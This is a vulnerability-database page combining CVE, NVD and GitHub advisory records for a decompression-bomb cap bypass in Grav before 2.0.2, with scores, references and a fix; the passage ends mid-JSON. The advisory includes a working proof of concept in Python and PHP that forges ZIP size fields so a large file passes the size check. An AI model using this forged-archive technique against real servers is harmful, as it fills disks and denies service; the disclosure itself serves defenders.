Vulnerability-Lookup

CVE-2026-61449 (GCVE-0-2026-61449)

Vulnerability from cvelistv5 – Published: 2026-07-15 11:25 – Updated: 2026-10-08 15:23

Title

Grav before 2.0.2 Decompression Bomb via Forged ZIP Size

Summary

Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 17:49 UTC

CWE

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 6373 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	vendor-advisory
https://www.vulncheck.com/advisories/grav-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
getgrav	grav	Affected: 0 , < 2.0.2 (semver) Unaffected: 2.0.2 (semver) cpe:2.3:a:getgrav:grav::::::::

Date Public

2026-06-25 00:00

Credits

iliaal

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-61449",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T17:49:17.546567Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T17:52:57.760Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:composer/getgrav/grav",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.2",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.0.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "iliaal"
        }
      ],
      "datePublic": "2026-06-25T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "Improper Handling of Highly Compressed Data (Data Amplification)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-08T15:23:32.555Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-8h9x-89f2-m7x3)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
        },
        {
          "name": "VulnCheck Advisory: Grav before 2.0.2 Decompression Bomb via Forged ZIP Size",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
        }
      ],
      "title": "Grav before 2.0.2 Decompression Bomb via Forged ZIP Size",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-61449",
    "datePublished": "2026-07-15T11:25:43.802Z",
    "dateReserved": "2026-07-09T14:06:14.016Z",
    "dateUpdated": "2026-10-08T15:23:32.555Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-61449",
      "date": "2026-10-16",
      "epss": "0.00299",
      "percentile": "0.2108"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "defaultStatus": "unaffected",
                "packageURL": "pkg:composer/getgrav/grav",
                "product": "grav",
                "vendor": "getgrav",
                "versions": [
                  {
                    "lessThan": "2.0.2",
                    "status": "affected",
                    "version": "0",
                    "versionType": "semver"
                  },
                  {
                    "status": "unaffected",
                    "version": "2.0.2",
                    "versionType": "semver"
                  }
                ]
              }
            ],
            "source": "disclosure@vulncheck.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56."
          }
        ],
        "id": "CVE-2026-61449",
        "lastModified": "2026-10-08T16:17:24.917",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 3.6,
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-61449",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T17:49:17.546567Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-15T12:18:19.747",
        "references": [
          {
            "source": "disclosure@vulncheck.com",
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
          },
          {
            "source": "disclosure@vulncheck.com",
            "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
          }
        ],
        "sourceIdentifier": "disclosure@vulncheck.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-409"
              }
            ],
            "source": "disclosure@vulncheck.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-61449",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-15T17:49:17.546567Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-15T17:48:59.388Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "defaultStatus": "unaffected",
              "packageURL": "pkg:composer/getgrav/grav",
              "product": "grav",
              "vendor": "getgrav",
              "versions": [
                {
                  "lessThan": "2.0.2",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                },
                {
                  "status": "unaffected",
                  "version": "2.0.2",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.0.2",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "reporter",
              "value": "iliaal"
            }
          ],
          "datePublic": "2026-06-25T00:00:00.000Z",
          "descriptions": [
            {
              "lang": "en",
              "value": "Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              },
              "format": "CVSS"
            },
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
                "version": "3.1"
              },
              "format": "CVSS"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-409",
                  "description": "Improper Handling of Highly Compressed Data (Data Amplification)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-08T15:23:32.555Z",
            "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
            "shortName": "VulnCheck"
          },
          "references": [
            {
              "name": "GitHub Security Advisory (GHSA-8h9x-89f2-m7x3)",
              "tags": [
                "vendor-advisory"
              ],
              "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
            },
            {
              "name": "VulnCheck Advisory: Grav before 2.0.2 Decompression Bomb via Forged ZIP Size",
              "tags": [
                "third-party-advisory"
              ],
              "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
            }
          ],
          "title": "Grav before 2.0.2 Decompression Bomb via Forged ZIP Size",
          "x_generator": {
            "engine": "vulncheck-endgame"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "assignerShortName": "VulnCheck",
        "cveId": "CVE-2026-61449",
        "datePublished": "2026-07-15T11:25:43.802Z",
        "dateReserved": "2026-07-09T14:06:14.016Z",
        "dateUpdated": "2026-10-08T15:23:32.555Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-61449

Vulnerability from fkie_nvd - Published: 2026-07-15 12:18 - Updated: 2026-10-08 16:17

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:composer/getgrav/grav",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.2",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56."
    }
  ],
  "id": "CVE-2026-61449",
  "lastModified": "2026-10-08T16:17:24.917",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-61449",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T17:49:17.546567Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T12:18:19.747",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-409"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8H9X-89F2-M7X3

Vulnerability from github – Published: 2026-09-17 14:53 – Updated: 2026-09-17 14:53

Summary

Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer

Details

Summary

The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.max_uncompressed_size (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPM\Installer::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.

Details

extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:

$totalSize += (int) $stat['size'];          // declared central-directory size
if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }

$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The max_files (entry count) and max_depth (entry-name segments) checks are not forgeable this way.

PoC

Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:

import zipfile, struct
data = b'\x00' * (10*1024*1024)
with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP_DEFLATED) as z:
    z.writestr('big.bin', data)
raw = bytearray(open('bomb.zip','rb').read())
raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))
open('bomb_forged.zip','wb').write(raw)

Drive the exact pre-extraction loop, then extract:

$zip = new ZipArchive(); $zip->open('bomb_forged.zip');
$total = 0;
for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }
// => $total === 1   (what the 1 GiB bound checks: PASSES)
$zip->extractTo('/tmp/zout');
// => filesize('/tmp/zout/big.bin') === 10485760   (written despite the cap)

Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.

Impact

A forged archive fills the disk / exhausts inodes during extraction. Reached via GPM\Installer::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.

Fix

ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass max_uncompressed_size, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. max_files and max_depth remain effective.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61449"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:53:33Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums `ZipArchive::statIndex($i)[\u0027size\u0027]` and rejects an archive whose declared uncompressed total exceeds `system.gpm.archive.max_uncompressed_size` (default 1 GiB) before extracting (`ZipArchiver.php:77-86`; same logic in `GPM\\Installer::unZip` at `Installer.php:228-238`). `statIndex()[\u0027size\u0027]` is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while `extractTo()` writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.\n\n### Details\n\n`extract()`/`unZip()` validate every entry up front, then call `Folder::create` + `extractTo`. The size check is:\n\n```php\n$totalSize += (int) $stat[\u0027size\u0027];          // declared central-directory size\nif ($maxSize \u003e 0 \u0026\u0026 $totalSize \u003e $maxSize) { ... reject ... }\n```\n\n`$stat[\u0027size\u0027]` is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during `extractTo`, so a forged-small value passes the gate and the real stream inflates to disk. The `max_files` (entry count) and `max_depth` (entry-name segments) checks are not forgeable this way.\n\n### PoC\n\nBuild a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:\n\n```python\nimport zipfile, struct\ndata = b\u0027\\x00\u0027 * (10*1024*1024)\nwith zipfile.ZipFile(\u0027bomb.zip\u0027,\u0027w\u0027,zipfile.ZIP_DEFLATED) as z:\n    z.writestr(\u0027big.bin\u0027, data)\nraw = bytearray(open(\u0027bomb.zip\u0027,\u0027rb\u0027).read())\nraw = raw.replace(struct.pack(\u0027\u003cI\u0027, 10*1024*1024), struct.pack(\u0027\u003cI\u0027, 1))\nopen(\u0027bomb_forged.zip\u0027,\u0027wb\u0027).write(raw)\n```\n\nDrive the exact pre-extraction loop, then extract:\n\n```php\n$zip = new ZipArchive(); $zip-\u003eopen(\u0027bomb_forged.zip\u0027);\n$total = 0;\nfor ($i = 0; $i \u003c $zip-\u003ecount(); $i++) { $total += (int) $zip-\u003estatIndex($i)[\u0027size\u0027]; }\n// =\u003e $total === 1   (what the 1 GiB bound checks: PASSES)\n$zip-\u003eextractTo(\u0027/tmp/zout\u0027);\n// =\u003e filesize(\u0027/tmp/zout/big.bin\u0027) === 10485760   (written despite the cap)\n```\n\nVerified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.\n\n### Impact\n\nA forged archive fills the disk / exhausts inodes during extraction. Reached via `GPM\\Installer::unZip` (`gpm install` / `direct-install` / `self-upgrade`) and admin backup restore (`ZipArchiver::extract`). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.\n\n### Fix\n\n`ZipArchiver.php:77-86` and `Installer.php:228-238`: don\u0027t trust the declared size. Extract each entry through a counting stream (`ZipArchive::getStream` + `fread` loop) and abort once cumulative written bytes pass `max_uncompressed_size`, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. `max_files` and `max_depth` remain effective.",
  "id": "GHSA-8h9x-89f2-m7x3",
  "modified": "2026-09-17T14:53:33Z",
  "published": "2026-09-17T14:53:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
    },
    {
      "type": "ADVISORY",
